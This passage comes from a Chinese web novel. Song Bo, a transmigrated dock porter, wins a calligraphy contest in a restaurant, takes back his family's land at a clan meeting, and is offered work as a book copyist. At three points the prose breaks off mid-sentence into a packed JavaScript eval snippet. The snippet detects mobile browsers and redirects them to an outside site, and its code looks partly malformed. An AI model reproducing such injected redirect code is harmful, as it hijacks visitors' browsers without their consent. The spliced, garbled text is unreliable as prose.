中午这茬事儿让大伙儿下午搬货都铆足了劲,太阳还未落下,今日的货就已经搬空了。 船老板给大伙儿结工钱,走到宋泊面前时,五十钱落入宋泊掌心之中。 宋泊见着这五十钱不解,每一袋货物他都算了的,今日他不过只搬了三十三袋,按理来说应该只有四十三钱才对,他开口,“船老板,今日的钱是不是算错了?” 船老板摆摆手,“没错,你帮我读了信,加了读信的工钱。” 读书人稀缺,更何况传福镇是金省最偏远的镇子之一,会读书的人本来就没几个,所以帮忙读信也是要付工钱的。 只不过读一封信的工钱是一钱,船老板被宋泊哄开心了,这才直接凑了个整。 既如此,宋泊也没有推辞,把五十钱全部收好,等熬过这段时间,他就去找个用脑子的工作,搬货这体力活还是不大适合他。 算好工钱,船老板兑现承诺,领着一大帮货工进了喜春楼。 宋泊本来以为喜春楼只是个普通饭馆,等进了楼才发现,这喜春楼,恐怕还有些其他的营生。 大厅正中央有个圆形舞台,舞台上有舞娘翩翩舞蹈,衣裳半露的漂亮姑娘和哥儿们穿梭在餐桌之间,每个人身上都带着股浓烈的香味,几十种香味混杂在一起冲入宋泊的鼻尖,引得他没忍住打了几个喷嚏。 有哥儿瞥着他,还娇媚地眨了下眼,宋泊赶紧移开视线,见过江金熙以后,这些人连江金熙的十分之一都比不上。 店小二拿了菜单来,船老板大手一划,每样菜都点了两份,这样才能满足他们这么一大波人。 等菜期间,船老大喊:“宋泊。” “船老板有事嘱咐?”宋泊应。 “你帮我写封信。”船老板说。 金省的省城离这儿很远,船老板的弟弟在信里说他不回传福镇,准备休整一番就要直上京城赶明年的春闱了。船老板在这儿的生意不能放下,只能写封信回去,告诉他弟弟他已经收到信件了。 船老板会读简单的字,但要他写实在是为难了,之前他都会请人写信,现下有了宋泊,他就直接将这个任务交给宋泊。 9. 第九章 “写信自然可以,但是这儿没有纸笔。”宋泊道。 巧妇难为无米之炊,喜春楼是饭馆,吃饭的地儿,哪儿会有写信的东西。 船老板喊来店小二,没一会儿店小二就端了个托盘来,上面放的正是笔墨纸砚。 是他想得简单了,宋泊看着店小二将托盘放在他的面前想着,寻欢作乐的场所怎么会没有笔墨纸砚,那些男子肯定得通过写字作画的方式,吸引店里的女子和哥儿。 船老板从位子上起来,站到宋泊身后,说:“东西来了,写吧。” 喜春楼毕竟不是正经书屋,这笔的质量只能满足能写这个要求。宋泊执起毛笔,心底像闯入了个小兔一般,虽然他在现代常写毛笔字,但现在到了古代,要在别人眼下写字,他还是有些紧张。 宋泊用笔尖沾了沾墨,细长的手指拿笔姿势标准,他垂眼看着纸,说:“船老板,你说吧。” 船老板还未说话,旁儿便有个突兀的声音出现,“噢哟,这世道货工也会写字啦?” 宋泊转头看去,说话之人衣着华贵,头上带着个漂亮的发冠,左手臂弯间搂着漂亮美人,右手拿着酒杯,像是来这儿寻欢作乐的公子哥。 “货工不就出出力吗?写字的活儿都能接了?”公子哥后头跟着几个人,他们的衣着稍微差些,他们相视着大笑,话里话外都在讽刺宋泊作为一个货工却要执笔写字的不自量力。 宋泊并未出言与他们相争,也未理会他们,只是看着船老板说:“你说吧,信中要写些什么?” 那群喽喽见宋泊这态度,立刻吱哇乱叫起来,“秦公子,他竟没把你放在眼中!” 被叫秦公子的人本来只是出言调侃一下,现在被身后的人托闹着,托到了一个高度,上不去也下不来,他道:“你这货工,可敢与我比试比试?” 货工?说的是他吗?宋泊当了几日货工,还未熟悉自己的新身份。 秦令目瞪宋泊,说:“说你呢!看谁。” 有了准确的行为表示,宋泊才确信秦公子说的人就是他。 宋泊性子温和,本就不爱与人纷争,再加上这争斗完全是没有必要的,宋泊就更难得在这事儿上争个高下,他直接示弱,说:“秦公子,在下不过一介货工,自是比不上秦公子,这比试,在下不敢接。” 这话怎么听怎么不顺心,明明宋泊如他所愿低了头,但秦令就是觉着一口气堵在喉咙里,“啪”的一声,他将酒杯重重地放在宋泊他们这张桌上,“来人,搬桌子来,小爷非得跟他比比手上功夫。” 听到这话,宋泊无奈,这人的气性怎的如此之大,都给台阶下了也不下。 这边的热闹迎来不少人,店家听闻有人要在店内比试,立刻让人搬了两张大长桌摆在大厅舞台之上,这可是白送的机会,等会再开个赌盘,可不得大赚一笔。 “秦公子要与人比试了” “听说要与人比写字!” “秦令可是在书院读了十几年书,别的谈不上,书法可是一绝。” “是个货工。” “货工?那他真是不自量力。” 听着周围人正大光明的蛐蛐,宋泊只是将毛笔轻轻放在笔架上,折好纸放于托盘上,动作沉静优雅,一点害怕着急的样子都没有。 李五凑到宋泊身边,出言道:“你真要与他比?” “他要比就比呗。”宋泊从六岁开始写毛笔字,这一写,写了二十多年,期间大小奖项拿了不少,别的不敢说,写毛笔字他有百分之百的信心能赢,“等会要是有什么赌盘之类的,帮我下注,下我身上,就下八十钱。” 以宋泊对这些不太正经场所的了解,肯定会有人看热闹不嫌事大,开盘下注。正好现在他也缺钱,用这比试赚点快钱也行。 “行,听你的。”李五对宋泊有种莫名的信任,可能是因为他的眼神实在坚定。 宋泊拿着托盘上了台,秦令身边的家仆端着秦令的写字工具站于他身旁,单是笔墨纸砚的质量,秦令就已胜了宋泊。 “这喜春楼的笔实在烂,写出来的字迹墨迹不一,有的深有的浅。” “秦令拿的可是普笔,笔中之王,这哪儿有的比。” “就是啊,真是场无趣的比试。” 台下人越聚越多,很快就将台子里三圈外三圈围了起来。李五下了注以后想挤去第一排,却因着体格太大卡在中间位置,无法,他只好踮着脚尖伸长脖子往台上瞧。 “比试总得要有些彩头才有趣。”秦令双手环胸,不可一世地盯着宋泊看。 “请讲。”宋泊回声。 秦令高昂着头,“我赢了,你就在这个台上大喊三声秦公子我错了,是我有眼不识泰山。” 这彩头杀伤力不大,但侮辱性极强,文人最看重的就是面子,秦令便是看中这一点,要折辱宋泊。 “可以。”宋泊在桌上摆好笔墨纸砚,“若是我赢了,我要你那套笔墨纸砚。” “那好,写字时间为一炷香,内容不定,由在场的各位评判好坏。”秦令定下规矩。 店小二在台子中央插上一根香,香头点燃的一瞬间,比试开始。 泥人也有三分脾性,这人都欺负到他头上来了,宋泊自然也得反击回去,他拿起毛笔沾了沾墨水,笔尖点在纸上之时,宋泊到了他的领域。 宋泊动作流利,乌黑的墨水落在纸上,不过一瞬,宋泊就写完了作品,将笔放回笔架上。 秦令写字还需起势,他一个字未写完,宋泊就已经放了笔,余光瞥着宋泊动作的秦令一急,笔尖稍稍飘出去些许,豆大的汗水落在纸上。 宋泊闲来无事,看了眼秦令的作品,只一眼,他就知胜负已定。 香的最后一段因燃烧而折断,时间耗尽,店小二敲响了锣,一声清脆的响声在喜春楼之间回荡。 一个店小二把宋泊的作品举了起来,秦令的作品则由他的家仆帮忙展示。 大伙儿先看着秦令的作品,发出阵阵赞叹。 “不愧是秦公子,这字实在绝伦。” “在这传福镇秦公子的墨笔就是无价之宝。” “......那货工, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309949|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写得好像也不错?” “哪儿不错?” 有看得快的人眼神一转看向宋泊的作品。 【青竹落亭中,觉奇近近瞧,风穿竹中过,原是空心竹。】 短短一炷香的时间,宋泊竟写出了一句诗暗讽秦令金玉其外败絮其中。 “这......” 大伙儿都愣了,大家面面相觑,小声地谈论宋泊的作品。 “这字,墨迹如龙盘旋于纸页之上!” “是啊,落笔果决笔锋锐利,与他想出来的诗真是绝配。” “没想到这货工竟有这般实力。” “那我们还支持秦令吗?” 以秦家在传福镇的势力,这比试应当稳赢才是,可大伙儿看了宋泊的作品,都不想昧着良心夸秦令。 “好字,好诗。”有人带头鼓掌,宋泊站得高看得远,鼓掌的是个中年男子,这人的气质与他人不同,风度翩翩带着一股书香气。 “是百书阁的老板!” 百书阁,宋泊完全没有听过这个地方。 “爹,你怎么来了?”秦令出声。 “不来,怎么知道你当众挑事?”秦闻穿过众人走上台,看着宋泊道:“不知小兄弟这墨宝可卖呀?” 台下的大家倒吸一口气,秦闻年少时考中状元,后因自身原因辞官离京,在传福镇开了家书店,书店中展览秦闻复习科考时的书籍,为不少文人学子提供了莫大的帮助,故而秦闻在传福镇乃至金省都是地位极高收人爱戴之人。 只不过秦闻自己厉害,儿子却不尽如人意,科举考了几次,次次落榜后被打压了信心,这才成了现在这副模样。 秦闻要买那宋泊的墨宝!这不就等于宋泊赢了吗! 李五忍着激动看着台上。 “现在开始投票,喜欢秦令作品的举手,喜欢……”喜春楼的店家上了台,看向宋泊。 宋泊行了一礼,说:“宋泊。” “喜欢宋泊作品的就垂手。” 三声锣响以后,垂手的人肉眼可见比举手的人多。 宋泊胜了。 李五这下才敢大着胆子欢呼出声,要不是他这体型挤不出去,他非得跑上台,把宋泊抱起来转圈。为了给宋泊撑场子,他下了十钱在宋泊身上,赔率一比十一,这下他直接便赚了一百钱,真是天上掉了馅儿饼。 宋泊转身朝秦令行了一礼,“承让。” 秦令如同斗败的公鸡,意气散尽,灰头土脸地下了台,不过他倒是守信,让家仆拿着全套笔墨纸砚给了宋泊。 “这墨宝可卖?”秦闻再次问道。 “不卖。”宋泊道。 “我可以……”秦闻还想再争取一下,就见宋泊将纸卷了起来,直接交于他的手中,“这是?” “能跟秦公子比试也是有缘,这字就赠给他了,劳烦您帮忙拿回去。”宋泊道。 “犬子失礼。”秦闻拿着字,顿时觉着有几分羞愧。 宋泊没有再说什么,只是朝秦闻礼貌地笑了下,便拿着自己的战利品下了台。 10. 第十章 宋泊回到原位置以后,货工们都围到他身边恭喜他,船老板没想到自己的工人中竟藏着这么块明珠,这下大出风头了一把,他甚是欢喜。 “深藏不漏啊。”船老板拍着宋泊的肩膀,大笑道:“现在有了名气,让你帮忙写信可不得天价了?” “帮你写信,不用钱。”宋泊回道。 “那哪儿成!”船老板虽是商人却从来不干占人便宜的事儿。 在船老板底下干过几天的活儿,宋泊对船老板多少也有几分了解,这人拗得很,认定的事儿是不会随意更改的。 今日本就是个喜事汇集的日子,宋泊不想因着这点儿小事与船老板争个高低,他道:“那外头如何收,我就如何收。” “成!” 宋泊拿出刚刚秦令用过的笔,又把托盘中装的纸摊开来,秦令这套文房四宝确实是上品之物,只是拿在手中感受,便已知这物与店内笔纸的差异。 “船老板你说。”宋泊道。 船老板会的词句十分简单,听起来就是车轱辘话来回倒,等宋泊写完信,他身后又围了不少人。 “小兄弟,你能帮我也写封信吗?” “我先来的,先写我的。” “诶,信别收啊,再让我们瞧瞧。” 那些人讨论得激烈,船老板将信折起来放进怀中收好以后,高抬着手将那些人都赶走了,“要写信明天到码头来,现在我们要吃饭了。”宋泊有礼貌,他可是个粗人。 船老板膀大腰圆,随意一轰就把那些凑热闹的人轰散开来,人群散去,点的菜也终于盛了上来。 李五赶在这时候回来,他坐下后,从怀里掏出一串沉甸甸的铜钱交到宋泊手中,“赌的钱拿回来了,今日咱们可赚大了。” 宋泊粗略地看了一眼,除去本金,他赢了八百钱,这下可好了,给江金熙买被子买棉衣的钱有了。 菜品一道接一道上来,宋泊透过大厅的窗子往外看去,夕阳橘红中带了点黑夜的墨蓝,现在时间还早,他还能在这饭局里坐会儿,给船老板面子。 船老板举筷,大伙儿纷纷动了起来,宋泊也拿了筷子,夹了面前最近的桂花糖藕。他本不喜糖,但这桂花糖藕香甜软糯,淡淡的桂花香与绵软莲藕相结合,再加上莲藕中入口即化的糯米,简直是一道不可多得的甜口菜。 这几日宋茶栽念着江金熙是个病人,做的菜以清淡为主,他还有到镇上吃些包子添添味,江金熙可是在家中连吃三日,想来他那口中肯定都要淡出鸟来了,等会打包些好吃的菜回去,也算添个小灶,同喜了。 两口烈酒下肚,船老板喊道:“大家都别拘着,放开了喝,我付钱。” 宋泊在现代的酒量很好,但他没有酒瘾,也不知道这副身体对酒的阈值是多少,所以收敛着,喝了几口连一碗酒都没有喝完。所幸大家都热闹着,谁也没空管他喝了多少。 大抵过了两刻钟的时间,宋泊扶住脑袋,借着酒醉的理由要离席。 宋泊今日帮了船老板不少忙,船老板便没有强留他,只让他回家路上小心些。 宋泊歪歪扭扭出了船老板视线范围后,步伐快速地走到前台,他先把赢来的文房墨宝寄放在喜春楼,再把他刚刚觉着好吃的菜都包了一份,这不包菜不知道,一包菜吓一跳,喜春楼的菜金实在不低,仅仅四道菜就花了他一百钱,还好他今日赚得多,不然一下花去那么多钱,可得心疼死。 回家路上,宋泊怕赶不及,就小跑着地回了村,等他气喘吁吁到宋茶栽家中时,院子里已经来了人。 原著里没有关于宋泊家族的描写,原主又一心投在赌博之中,疏于人际关系的维护,院子中站着的都是谁,他一时间还对不上号。 “哟,可算来了。”一留着山羊胡子的中年男子说着。 “身上还带着脂粉味,这是从哪儿回来了呀?”一中年女子以袖掩面,眉毛皱在一起,脸上的嫌弃之色丝毫没有掩饰。 还有一人站于院中,他的年纪跟原主差不多,算是院中比较年轻的人,但他没有说话,只是眼神时不时往旁边偷瞟着。 宋泊顺着他的眼神看去,是江金熙站在那侧。 如此他倒是想起来原著一个细枝末节的地方,欺辱江金熙的人中,有一人正是他的小叔叔,宋申闻。现下用年龄对比起来,应该就是那个没有说话的男子。 “有事耽搁着,回来晚了。”宋泊边说着边往江金熙那头走,走到江金熙面前时,宋泊给了他个活儿,“你帮我把这东西放进屋里,然后你待在屋中就是。” 江金熙早就被宋申闻的眼神看得浑身不自在,那人好像把他当猎物,眼神里带着侵略性。要不是他认识的宋茶栽站在院子外,他才不会出来。 听着宋泊这么说,江金熙捧着宋泊打包回来的菜,直接就进了房内。 “行了,都一家人,语气这么呛做什么?”宋茶栽作为宋家大姐,站出来主持大局。 因为房内空间不足,宋茶栽就在院子里支了张大圆桌,族会在院子里开。 例行的族会本来是没什么大事,了解完各家情况就能散会的,不过最近宋申闻喜事将近,大伙儿就得坐下来仔细商量商量。 自己都有喜事了还盯着江金熙瞧,宋泊看宋申闻的眼神瞬间暗了许多。难怪原著里这人会侵犯江金熙,原来他本就不是什么好货。 “这三年孝期过了,五弟的婚事也该提上日程了。”宋家四妹宋芸香也就是刚刚那掩面嫌弃的妇女说道。 原主的爷爷在三年前逝世,那时宋家的老一辈都已离世,为了守孝,宋申闻本来定好的婚事,硬是拖了三年之久。现在出了孝期,女方那边便来催了,毕竟好好的黄花大闺女再往后拖就要成蔫黄花了。 “也是。”宋茶栽点了点头,他们这辈现在只有宋申闻没有成家了。 “明日咱们就提雁前去?”宋芸香问。 “你觉得呢?”宋茶栽转而问宋申闻。 “都依大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309950|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐。”宋申闻答。 演得倒是人模人样,宋泊腹诽。 “那么麻烦作甚?三年前不都定吉时了吗?再往下就是。”宋二哥宋海雄说。 “三年前哪能作数?”宋芸香立刻反驳回去,她与宋申闻年龄较为接近,从小便是她俩比较话说,宋芸香偏心着把宋申闻的事儿当做自己的事,“你自己随便,别带着小弟。” “就你会浪费钱呢?”宋海雄不甘示弱,呛道。 宋芸香长长的指尖指着宋海雄,正要张开红唇说什么的时候,被宋茶栽拍桌子的巨响给吓着,想说的话都落回了腹中。 宋茶栽一视同仁,两个人都吃了她的眼刀子,“你们俩上外头吵去,我与小弟说。” 宋芸香小声嘟囔,“流程就该从头开始啊。” 长辈说话宋泊插不进嘴,他细细观察着各人的神色,这家并没有想象中和谐,隐隐有分裂之势。 这毕竟是宋申闻的事,宋茶栽便把决定权交到宋申闻手中,“小弟你说,从头来还是继续?” 宋申闻顿了一会儿,才道:“为了娘子的颜面,不然我们就从头开始吧,劳烦大姐明日与我一起提雁上门。” “说来轻巧,钱谁出?小弟成天在家读书,哪来的银钱?”宋海雄撇了嘴,满脸都是不乐意,“咱们供了他多久,现在婚事流程重新来又是一笔开支!” “我出不行?”宋芸香横眉瞪眼。 “有两份地的人就是豪气。”宋海雄阴阳怪气道。 宋海雄这话倒是提醒了宋泊,恒国的地以户来分,每户能分得多少又得以人数来定,宋泊家还未绝户,自然有地才是,可宋声茗离世还未一月,他这个四姑就以她帮忙看地的理由给拿了去,至今未还。 “三弟在天之灵肯定也愿意出一份力。”宋芸香看着宋泊道:“泊侄儿,你说是吧。” 宋泊没有直接回答宋芸香,而是转了话题,“多谢四姑替我父亲照看田地,但总让你帮忙也不是个道理,秋收以后,那地我也该学着自己耕了。” 正好趁着开族会的机会,在大家的面前理直气壮地将地要回来,之后要耕要租,总得抓在自己手中。 说宋申闻的事情正说得好好的,宋泊这突然转了一枪,打得宋芸香猝不及防,宋泊家的地虽说不大,但到底是一份收入,这么多年她都收得好好的,哪儿舍得放手,宋芸香笑道:“你还小,这地还是四姑帮你看着安稳。” “不麻烦四姑了,大姑离我家近,她会教我种地的。”宋泊将宋茶栽搬了出来,压宋芸香一头。 这几日宋泊的转变宋茶栽都看在眼中,如果宋泊真的变好,戒了赌,那他也得有份相对稳定的收入来养家,耕种农物便是最好的选择。 不过因着宋泊转变的时间太短,宋茶栽也不好直接答应,就选了个折中的法子,“秋收以后那地你就别管了,我来照看。” “这……”宋芸香迟疑。 “就这么定了。”宋茶栽说。 11. 第十一章 江金熙回房把东西放好,半蹲身子偷偷躲在门后,宋家族会有利于他了解宋泊的人际关系,为他之后逃回京城提供帮助。 不过听了这么一会儿,江金熙觉着这家中除了宋泊和宋茶栽,其他人都不是什么好人,二叔自顾自己,四姑霸占土地,五叔自己的婚事还得他人出力,江金熙在心底唏嘘着,忽然有几分同情宋泊。 江金熙在屋里头思绪百转,院里头的人也各藏心思。 宋茶栽将宋泊家土地的使用权拿回来以后,宋芸香愣了几秒,她马上垂下眸子,用衣袖半遮着脸,细弱的啜泣声从衣袖后头传了出来。 这变脸的速度宋泊也是叹为观止,短短一个开族会的时间,宋芸香就已经变了好几个表情。 “你这又是闹哪出?”宋茶栽了解自己四妹的性子,这种矫情的开头就是要作妖了。 果然,宋芸香拉长了哭声,“你们就是在怪我......” 细长且尖锐的声音钻入脑中,宋泊只觉得头疼得厉害,他不动声色地挪了位置,半个身子藏在宋茶栽身后,悄悄捂住耳朵,隔绝噪音。 江金熙躲在暗处没忍住笑了一下,宋泊竟然还会做这么小孩子气的动作。 宋茶栽没管宋芸香,她转头跟宋申闻说:“明日辰时,去镇里买大雁。” 宋申闻这时倒是扮起了体谅人的模样,“四姐替三哥照看田地有功,大姐真要收了回去给那个败家子吗?” 虽说以前的宋泊是个确实的败家子,但现在宋茶栽就不乐意别人这么说宋泊,“田地的事你就别管了,料理好你自己的婚事就是。” “是。”宋申闻应声着,眼眸一转,与宋泊的视线在空中碰了个正着。 宋泊没有任何表情,但宋申闻就是觉着他的眼中带了几分讽刺。大姐说那个美人只是来看病的病人,他倒觉得不尽然,以宋泊刚刚交予美人东西时自然劲,他俩肯定有些关系。 这人为什么总是这么命好,从小到大皆是如此。 被宋申闻盯着看的宋泊只觉着莫名其妙,原主记忆里对这个五叔没有什么印象,原著里写到宋申闻侵犯江金熙也只是一言而过,除了刚刚他盯着江金熙瞧让他心生不悦以外,两人之间似乎没什么太大的矛盾,那宋申闻为何要用那种带着嫉妒的眼神看着他。 宋芸香还在边儿哭,但宋茶栽已经将所有的事情都定了下来,她拍了下掌,高声道:“就这样,散会。” 今日谈论的事情与宋海雄没有什么关系,他本就是看不得宋芸香一人占两份地,才出言呛声,现在地被要了回去,他开心得不行,托着肚子一刻也没久留,直接出了院子回家去。 宋申闻走到宋芸香身旁,从怀中拿出一块干净的手帕,“四姐,别哭了。” 宋芸香偷瞄了宋茶栽一眼,见宋茶栽倒茶水收杯子,她就知道收地这事已经没有转圜之地,她接过宋申闻的手帕,假意抹着眼泪,故作失落道:“大姐,我先走了。” 宋茶栽答:“小弟你与她一道,把她送回去了你再回家。” “是。”宋申闻应声。 三人都走了以后,院子终于安静下来,江金熙从房里走了出来要帮忙搬东西。 “你就跟大姑一块儿搬搬椅子,桌子我来搬。”宋泊说。 宋茶栽搬出来的这张桌子很沉,刚刚宋茶栽也是与宋申闻一块儿才把大圆桌给搬出来的。 宋茶栽就站在外头洗茶杯,闻言她调侃道:“那么沉,你一人能行?” “搬了三天的货,总得练出点力气吧。”宋泊回道。 听宋泊这么说,江金熙噗嗤一声笑了,他在京城见过有力气的士兵,叶哥训练那些士兵的时候,可是练了几个月,才给他们练出一身气力的。说起来,他丢了的这件事,叶哥肯定会很担心的,他得赶紧甩开那些暗处的尾巴,留下他在这儿的证据。 听到清脆的笑声,宋泊两眼一圆,有种被揭穿的羞愧感,“你笑什么。” “没有。”江金熙嘴往下一撇,压住笑意,借着低头搬椅子的动作,偷笑。 宋泊把桌子折了起来,两手抓着圆桌两侧,气一沉,桌子离地。 宋茶栽看着宋泊晃悠悠逞强地把桌子搬进了仓库中,心觉满意,若是宋泊继续往好处转变,她可以考虑明年就将地还给宋泊,让他自己料理。 窗外的风呼呼吹着,房内三人坐在小桌之前,门紧闭,窗漏着一条小缝,倒也不是太冷。 宋泊摸了下他带回来的包裹,还好,还有余热。 “你买了什么回来?”宋茶栽道。 宋泊卖着关子不回答,只是慢慢打开包裹,包裹刚解开一丝,菜品的香气就漫了出来。虽说江金熙已经吃过饭了,但闻着这香气他还是忍不住吞了口唾沫。 宋茶栽看着包装盒盖子上印的喜春楼三个字,说:“你真去喝花酒了?!”喜春楼是什么地方,她清清楚楚,不过她现在不会一棒子把宋泊打死,而是会听他的解释。 花酒! 江金熙闻着宋泊身上的味道,闻到菜香的好心情都散去了一半。 “没喝花酒。”宋泊把盖子打开,把菜一盘一盘往外端着,“船老板的弟弟中了举,他高兴就请了我们这些货工吃饭,去之前我也不知道船老板选的地方是喜春楼呢。” 宋泊边解释着边把筷子往两人面前分着,“我只尝了菜,这菜又香又好吃,你们快尝尝。” 看宋泊动作自然,神色放松,宋茶栽便收起了对宋泊的怀疑,她道:“中举可是天大的喜,难怪船老板愿意花这么大笔钱。” 江金熙心中的阴云因着这通诚恳的解释,渐渐散去,他看着菜品,私心不愿意动那种地方出来的菜,可那盘沾着桂花花瓣的藕片看起来又十分好吃...... 宋茶栽拿了碗过来以后,动筷都吃了几口,江金熙还直勾勾地看着菜一动未动。 宋泊不知道他是怎么了,明明眼中的馋都快溢出来了,双手却还矜持地钉在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309951|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上。 宋泊拿起筷子,夹起一块桂花糖藕放在江金熙的碗中,道:“这甜腻的东西也就你们爱吃。” 江金熙暼了眼宋泊,明明都是他尝过好吃的菜,还说只有他爱吃,江金熙在心底吐槽,终于拿起筷子夹起藕片送入口中。 虽说这菜出自那种地方,但尝起来实在美味......江金熙的胃口被这片藕打开,不断夹菜。 “姑父什么时候回来?”宋泊问。 刚说着,刘南民的声音就从房外传了进来,“阿栽,你煮了什么,这么香?” 声音渐进,刘南民打开房门发现三双眼睛看着他,想起他刚刚喊了啥,羞愤瞬间冲上脑子,红了面。 “宋泊买来的,快坐下吃。”都老夫老妻了,不至于被小辈看着恩爱就羞脸。 “还是喜春楼的菜。”刘南民把农具放好,洗了手坐到桌前,“那楼里的菜可贵了。”宋茶栽年轻的时候去喜春楼看过诊,刘南民偶然瞄着墙上挂着的菜价,吓得他记到现在。 “你把搬货的钱都拿来买饭了?!”宋茶栽的话音瞬间提高几倍。 在码头搬货每日能赚多少钱她心中有数,不过两日,宋泊最多只能赚着一百钱,这一顿不知道花了多少,但肯定少不了。 只一瞬,宋泊就决定隐藏赚钱的真相,“船老板高兴,让我们打包走的。” 写毛笔字赢钱这事儿能瞒则瞒,若是被宋茶栽知道他会写毛笔字,肯定会压着他读书考科举。毕竟以她的学识,肯定希望他往高处走。 可重活一世,他已经不想再拼搏努力了,等一年后送走江金熙,他就待在小村落里,种地过一生。 “你们老板倒是大气。”宋茶栽无疑有他。 喜春楼做菜确实有一手,四道菜被吃了个精光,江金熙有些意犹未尽地放下筷子。 又坐在屋中聊了一阵,宋泊才与江金熙一起起身离开。 现在时间不早,天空像泼了墨一般黑,月亮也躲进了云中,乍一下从亮光环境中走入黑暗,宋泊有些看不清。 “灯笼拿去。”宋茶栽小跑着进了仓库给宋泊他们拿了一盏灯笼。 这灯笼是她特意给宋泊做的,昨日见他俩没有灯笼,今日她紧赶慢赶,在看诊的间隙中做了个灯笼,不算很美观但至少能用。 宋泊抬手拿起灯笼看了看,温暖的烛光透了出来,“这灯真是救了急。” “行了,赶紧回去吧,再晚明日上工就不好过了。”宋茶栽道。 回去晚入睡就晚,做力气活的人最忌讳休息不好。 “嗯,我们走了。”宋泊记着江金熙怕耗子,他便拉上江金熙,让他靠自己近些。 “走吧,路上多注意点。”宋茶栽嘱咐着,“尤其要看着金熙,别让老鼠再吓着他。” “知道。”宋泊应。 宋茶栽送到门口,远远望着那抹烛光越来越远,直到烛光消失看不见以后,她才双手交握放在腰后走进了院内。 12. 第十二章 又一日阳光明媚,宋泊一抹额头上的汗,虽然已入秋季,但出力搬货还是热人。 “宋泊,有人找你。”船老板站在岸上朝着宋泊大喊。 宋泊一手抱货,一边转头看去,昨日那个很有威望的中年男子正站在船老板身旁。 离放货点只剩几步,宋泊点了头算是打招呼,而后把货放在船上以后,他才返回到船老板身旁。 虽说昨日已经见过了,但船老板还是怕宋泊不认识秦闻,便出言介绍道:“这是百书阁老板,秦闻。” “秦老板好。”宋泊抬手行礼,“不知......秦老板找我有何事呢?” “你是好事来了。”秦闻还未说话,船老板先替他说着。 宋泊不明所以,他只是正常在码头搬货,怎就好事来了。 秦闻礼貌笑着,解释道:“我们那儿正缺一个抄书先生,不知你可有兴趣。” 抄书先生,顾名思义就是抄书的人,秦闻开的是书馆,最缺的就是抄书先生。尤其他找的还不是一般人,书法入不了他眼的人干不了这个职位,他的百书阁就更缺人了。 不过百书阁不仅卖精抄本,还卖普印本,所以每日售出的书不少,收入不菲,抄书先生的薪资自然就低不到哪儿去。 再加上秦闻本人考过科举当过官,虽说现下辞官了,可那学习的技巧和经历官场人情世故的经验是不会改变的,日常生活中得秦闻指点一二,堪比苦读诗书三日,故而在百书阁当抄书先生可是传福镇里上不了书院文人的香饽饽岗位。 “秦老板有需要那自然好,可我还应了船老板的活。”宋泊苦恼,于心他肯定更想要份薪资高的活儿,毕竟家中开销都压在他身上,而且他还得添置不少东西过冬,一笔一笔算来都是实打实的银钱。可于理,他应下船老板的活在先,也是因着他来了,船老板的货工饱满,他才未再招人进来。如今有了个新活马上把老东家踢开,怎么想都不是一个妥当的行为。 “无妨。”秦闻早料到宋泊会这么说,这也证实他没有看走眼,宋泊确实是个根正苗红的青年人。 “此话怎讲?”宋泊问。 “我已问过船老板,你们这活儿再一月就能结束,到时你再来就是。”秦闻道。 不仅船老板这边的人情没有落下,而且还预定了下一个活儿不会有失业的空档期,这倒是个两全其美的法子。 “那我便承了秦老板的好意。”宋泊再次抬手行礼,一举一动之间全是文人的翩翩书香气。 船老板站在一旁听着两人说话只觉着口中一阵牙酸,读书人说话就是文绉,他这种大老粗就说不出来。 看着面前垂着头,一缕发丝拦在面前的白面青年,秦闻满意地点了点头,“到时你直接到店里找我就是。” 秦闻没有给宋泊什么书信之类的信物,不过以秦闻的名声,宋泊也不必担心他出尔反尔。 秦闻说完事没有久留,店中还有事儿等着他处理,便直接离开了码头。 海浪翻涌着,阵阵腥咸味侵入宋泊的鼻腔之中,宋泊伸了个懒腰,继续搬货。 工作的时间过得很快,又一次下工,今日宋泊赚了五十钱,十钱是船老板给的写信工钱。 宋泊没有钱袋子,身上沉甸甸的钱暂时用家中随手拿的边角布料兜着,走入集市之中,他的第一件事就是换个钱袋子。用布兜着总归是不放心,一路边走边漏就是笑话了。 “客人,看看有没有喜欢的?这都是奴家手工缝制的。” 宋泊停于一女子的摊位之前,女子赶紧揽客。 宋泊对钱袋的样式没有什么想法,只要能装钱不掉就行,倒是江金熙,应该给他买个好看的钱袋装些零花钱。江金熙在他家生活的这一年,宋泊不会吝啬银钱,江金熙是个独立的人,人要生活肯定需要银钱傍身,不过江金熙一个贵族世家出来的哥儿,宋泊也不指望他赚钱,之后他有了抄书先生的工作,足以负担两人日常生活中的开支,养江金熙一年应当是没有任何问题,就算是花钱给自己买了条命,之后主角攻找来的时候,不要砍了他的头就是。 